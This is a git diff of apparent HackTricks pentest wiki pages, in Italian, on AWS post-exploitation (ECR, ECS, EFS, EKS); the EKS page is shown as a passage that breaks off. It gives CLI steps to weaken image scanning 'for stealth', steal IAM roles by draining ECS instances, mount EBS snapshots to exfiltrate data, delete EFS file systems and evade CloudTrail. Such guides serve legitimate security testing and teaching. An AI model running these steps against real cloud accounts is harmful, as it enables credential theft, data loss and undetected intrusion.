+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+Impatto
+- I nuovi push di immagini attraverso il registry non vengono scansionati automaticamente, riducendo la visibilità di contenuti vulnerabili o maligni e ritardando il rilevamento fino a quando non viene avviata una scansione manuale.
+
+
+### Downgrade del motore di scansione a livello di registry tramite `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+Riduci la qualità del rilevamento delle vulnerabilità in tutto il registry passando il motore di scansione BASIC dal valore predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita la scansione ma può cambiare sostanzialmente i risultati/coprertura. Combinalo con una configurazione di scansione del registry BASIC senza regole per rendere le scansioni solo manuali.
+
+Requisiti
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (Opzionale) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+Impatto
+- L'impostazione del registry `BASIC_SCAN_TYPE_VERSION` viene impostata su `CLAIR`, quindi le successive scansioni BASIC vengono eseguite con il motore declassato. CloudTrail registra la chiamata API `PutAccountSetting`.
+
+Passaggi
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
deleted file mode 100644
index 234639c5e..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Ruoli IAM dell'Host
-
-In ECS un **ruolo IAM può essere assegnato al task** in esecuzione all'interno del container. **Se** il task viene eseguito all'interno di un **EC2** instance, l'**EC2 instance** avrà **un altro ruolo IAM** ad esso associato.\
-Ciò significa che se riesci a **compromettere** un'istanza ECS puoi potenzialmente **ottenere il ruolo IAM associato all'ECR e all'istanza EC2**. Per ulteriori informazioni su come ottenere queste credenziali controlla:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> Nota che se l'istanza EC2 sta applicando IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **limite di hop di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
-
-### Privilegi di escalation al nodo per rubare credenziali e segreti di altri container
-
-Inoltre, EC2 utilizza Docker per eseguire i task EC, quindi se riesci a scappare al nodo o **accedere al socket Docker**, puoi **controllare** quali **altri container** sono in esecuzione, e persino **entrare in essi** e **rubare i loro ruoli IAM** associati.
-
-#### Far eseguire i container nell'host attuale
-
-Inoltre, il **ruolo dell'istanza EC2** avrà di solito abbastanza **permessi** per **aggiornare lo stato dell'istanza del container** delle istanze EC2 utilizzate come nodi all'interno del cluster. Un attaccante potrebbe modificare lo **stato di un'istanza in DRAINING**, quindi ECS **rimuoverà tutti i task da essa** e quelli in esecuzione come **REPLICA** saranno **eseguiti in un'altra istanza,** potenzialmente all'interno dell'**istanza dell'attaccante** in modo che possa **rubare i loro ruoli IAM** e potenziali informazioni sensibili dall'interno del container.
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-La stessa tecnica può essere eseguita **dissociando l'istanza EC2 dal cluster**. Questo è potenzialmente meno furtivo ma **costringerà i task a essere eseguiti in altre istanze:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-Una tecnica finale per forzare la riesecuzione dei compiti è indicare a ECS che il **compito o il contenitore è stato fermato**. Ci sono 3 API potenziali per farlo:
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### Rubare informazioni sensibili dai contenitori ECR
-
-L'istanza EC2 avrà probabilmente anche il permesso `ecr:GetAuthorizationToken` che le consente di **scaricare immagini** (potresti cercare informazioni sensibili in esse).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
new file mode 100644
index 000000000..a93db208d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -0,0 +1,128 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM Roles
+
+Nell'ECS un **IAM role può essere assegnato al task** eseguito all'interno del container. **Se** il task viene eseguito su un'istanza **EC2**, l'**istanza EC2** avrà un **altro IAM** role collegato a essa.\
+Ciò significa che se riesci a **compromettere** un'istanza ECS puoi potenzialmente **ottenere l'IAM role associato a ECR e all'istanza EC2**. Per maggiori informazioni su come ottenere quelle credenziali consulta:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Nota che se l'istanza EC2 sta imponendo IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **hop limit di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
+
+### Privesc to node to steal other containers creds & secrets
+
+Inoltre, EC2 uses docker per eseguire ECS tasks, quindi se puoi escape to the node o **access the docker socket**, puoi **verificare** quali **altri container** sono in esecuzione, e persino **entrare al loro interno** e **rubare gli IAM role** loro associati.
+
+#### Making containers run in current host
+
+Furthermore, l'**EC2 instance role** di solito avrà sufficienti **permissions** per **aggiornare lo stato della container instance** delle istanze EC2 usate come nodi all'interno del cluster. Un attacker potrebbe modificare lo **stato di un'istanza in DRAINING**, quindi ECS **rimuoverà tutti i task da essa** e quelli eseguiti come **REPLICA** saranno **eseguiti in una diversa istanza,** potenzialmente all'interno dell'**istanza dell'attaccante**, così da poter **rubare i loro IAM role** e eventuali informazioni sensibili presenti all'interno del container.
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+La stessa tecnica può essere eseguita **rimuovendo l'istanza EC2 dal cluster**. Questo è potenzialmente meno stealthy ma **forzerà l'esecuzione dei tasks su altre istanze:**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+Una tecnica finale per forzare la riesecuzione delle task è indicare a ECS che la **task o il container è stato arrestato**. Ci sono 3 API potenziali per farlo:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Steal sensitive info from ECR containers
+
+L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le permette di **download images** (potresti cercare informazioni sensibili al loro interno).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
+
+Abusa dell'integrazione nativa ECS-EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo task/servizio ECS e leggere i suoi dati dal container.
+
+- Richiede (minimo):
+- ecs:RegisterTaskDefinition
+- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole on:
+- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenced by the task definition
+- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
+
+- Impatto: leggere contenuti arbitrari del disco dallo snapshot (es., file di database) all'interno del container ed esfiltrarli via rete/log.
+
+Passaggi (esempio Fargate):
+
+1) Crea il ruolo infrastruttura ECS (se non esiste) e allega la managed policy:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) Registra una task definition con un volume contrassegnato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi dorme):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) Crea o aggiorna un servizio passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo infra). Esempio:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) Quando il task viene avviato, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (es., `/loot`). Exfiltrate via the task’s network/logs.
+
+Pulizia:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
deleted file mode 100644
index 835e0b929..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ /dev/null
@@ -1,46 +0,0 @@
-# AWS - EFS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-Un attaccante potrebbe eliminare un mount target, potenzialmente interrompendo l'accesso al file system EFS per le applicazioni e gli utenti che dipendono da quel mount target.
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**Impatto Potenziale**: Interruzione dell'accesso al file system e potenziale perdita di dati per utenti o applicazioni.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-Un attaccante potrebbe eliminare un intero file system EFS, il che potrebbe portare a perdita di dati e influenzare le applicazioni che dipendono dal file system.
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**Impatto Potenziale**: Perdita di dati e interruzione del servizio per le applicazioni che utilizzano il file system eliminato.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-Un attaccante potrebbe aggiornare le proprietà del file system EFS, come la modalità di throughput, per influenzare le sue prestazioni o causare esaurimento delle risorse.
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**Impatto Potenziale**: Degradazione delle prestazioni del file system o esaurimento delle risorse.
-
-### `elasticfilesystem:CreateAccessPoint` e `elasticfilesystem:DeleteAccessPoint`
-
-Un attaccante potrebbe creare o eliminare punti di accesso, alterando il controllo degli accessi e potenzialmente concedendo a se stesso accesso non autorizzato al file system.
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**Impatto Potenziale**: Accesso non autorizzato al file system, esposizione o modifica dei dati.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
new file mode 100644
index 000000000..66a5e925d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Per ulteriori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+Un attacker potrebbe eliminare un mount target, interrompendo potenzialmente l'accesso al file system EFS per le applicazioni e gli utenti che si basano su quel mount target.
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**Impatto potenziale**: Interruzione dell'accesso al file system e possibile perdita di dati per utenti o applicazioni.
+
+### `elasticfilesystem:DeleteFileSystem`
+
+Un attacker potrebbe eliminare un intero file system EFS, il che potrebbe causare perdita di dati e influire sulle applicazioni che si basano su quel file system.
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Potential Impact**: Perdita di dati e interruzione del servizio per le applicazioni che utilizzano il file system eliminato.
+
+### `elasticfilesystem:UpdateFileSystem`
+
+Un attacker potrebbe aggiornare le proprietà del file system EFS, come il throughput mode, per compromettere le sue prestazioni o causare esaurimento delle risorse.
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**Impatto potenziale**: Degrado delle prestazioni del file system o esaurimento delle risorse.
+
+### `elasticfilesystem:CreateAccessPoint` e `elasticfilesystem:DeleteAccessPoint`
+
+Un attacker potrebbe creare o eliminare access point, modificare i controlli di accesso e potenzialmente ottenere accesso non autorizzato al file system.
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Impatto potenziale**: Accesso non autorizzato al file system, esposizione o modifica dei dati.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
deleted file mode 100644
index 7c6587755..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ /dev/null
@@ -1,143 +0,0 @@
-# AWS - EKS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-Per ulteriori informazioni controlla
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### Enumerare il cluster dalla Console AWS
-
-Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti Kubernetes** tramite la console AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-
-### Connettersi al Cluster Kubernetes di AWS
-
-- Modo semplice:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- Non è così facile:
-
-Se puoi **ottenere un token** con **`aws eks get-token --name <cluster_name>`** ma non hai i permessi per ottenere informazioni sul cluster (describeCluster), potresti **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, hai ancora bisogno dell'**url endpoint a cui connetterti** (se sei riuscito a ottenere un token JWT da un pod leggi [qui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e del **nome del cluster**.
-
-Nel mio caso, non ho trovato le informazioni nei log di CloudWatch, ma le **ho trovate in LaunchTemplates userData** e in **macchine EC2 in userData anche**. Puoi vedere queste informazioni in **userData** facilmente, ad esempio nel seguente esempio (il nome del cluster era cluster-name):
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube config</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### Da AWS a Kubernetes
-
-Il **creatore** del **cluster EKS** sarà **SEMPR** in grado di accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (admin k8s). Al momento della scrittura non c'è **modo diretto** per scoprire **chi ha creato** il cluster (puoi controllare CloudTrail). E non c'è **modo** di **rimuovere** quel **privilegio**.
-
-Il modo per concedere **accesso a più utenti o ruoli AWS IAM su K8s** è utilizzare il **configmap** **`aws-auth`**.
-
-> [!WARNING]
-> Pertanto, chiunque abbia **accesso in scrittura** sul config map **`aws-auth`** sarà in grado di **compromettere l'intero cluster**.
-
-Per ulteriori informazioni su come **concedere privilegi extra a ruoli e utenti IAM** nello **stesso o diverso account** e come **abusare** di questo per [**privesc controlla questa pagina**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-
-Controlla anche [**questo fantastico**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per imparare come funziona l'autenticazione IAM -> Kubernetes**.
-
-### Da Kubernetes a AWS
-
-È possibile consentire un **autenticazione OpenID per l'account di servizio kubernetes** per consentire loro di assumere ruoli in AWS. Scopri come [**questo funziona in questa pagina**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-
-### OTTIENI l'Endpoint del Server Api da un Token JWT
-
-Decodificando il token JWT otteniamo l'id del cluster e anche la regione. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sapendo che il formato standard per l'url EKS è
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
-```
-Non ho trovato alcuna documentazione che spieghi i criteri per i 'due caratteri' e il 'numero'. Ma facendo alcuni test per conto mio vedo che ricorrono questi:
-
-- gr7
-- yl4
-
-Comunque sono solo 3 caratteri che possiamo bruteforzare. Usa lo script qui sotto per generare la lista.
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-Poi con wfuzz
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> Ricorda di sostituire & .
-
-### Bypass CloudTrail
-
-Se un attaccante ottiene le credenziali di un AWS con **permessi su un EKS**. Se l'attaccante configura il proprio **`kubeconfig`** (senza chiamare **`update-kubeconfig`**) come spiegato in precedenza, il **`get-token`** non genera log in Cloudtrail perché non interagisce con l'API AWS (crea solo il token localmente).
-
-Quindi, quando l'attaccante comunica con il cluster EKS, **cloudtrail non registrerà nulla relativo all'utente rubato e al suo accesso**.
-
-Nota che il **cluster EKS potrebbe avere i log abilitati** che registreranno questo accesso (anche se, per impostazione predefinita, sono disabilitati).
-
-### EKS Ransom?
-
-Per impostazione predefinita, il **utente o il ruolo che ha creato** un cluster ha **SEMPRE privilegi di amministratore** sul cluster. E che l'unico accesso "sicuro" che AWS avrà sul cluster Kubernetes.
-
-Quindi, se un **attaccante compromette un cluster utilizzando fargate** e **rimuove tutti gli altri amministratori** e **elimina l'utente/ruolo AWS che ha creato** il Cluster, ~~l'attaccante potrebbe aver **riscattato il cluster**~~**r**.
-
-> [!TIP]
-> Nota che se il cluster stava utilizzando **EC2 VMs**, potrebbe essere possibile ottenere privilegi di amministratore dal **Node** e recuperare il cluster.
->
-> In realtà, se il cluster utilizza Fargate, potresti utilizzare nodi EC2 o spostare tutto su EC2 nel cluster e recuperarlo accedendo ai token nel nodo.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
new file mode 100644
index 000000000..f32adcc55
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+Per maggiori informazioni consulta
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Enumerare il cluster dalla AWS Console
+
+Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare oggetti Kubernetes** tramite la console AWS EKS ([Scopri di più](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+
+### Connettersi al cluster Kubernetes AWS
+
+- Metodo semplice:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- Non è così semplice:
+
+Se puoi **ottenere un token** con **`aws eks get-token --name <cluster_name>`** ma non hai i permessi per ottenere le informazioni del cluster (describeCluster), puoi **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, ti serve comunque l'**endpoint URL a cui connetterti** (se sei riuscito a ottenere un JWT token da un pod leggi [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) e il **nome del cluster**.
+
+Nel mio caso, non ho trovato le informazioni nei log di CloudWatch, ma le **ho trovate in LaunchTemaplates userData** e anche nelle **macchine EC2 in userData**. Puoi vedere queste informazioni in **userData** facilmente, per esempio nel seguente esempio (il nome del cluster era cluster-name):
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
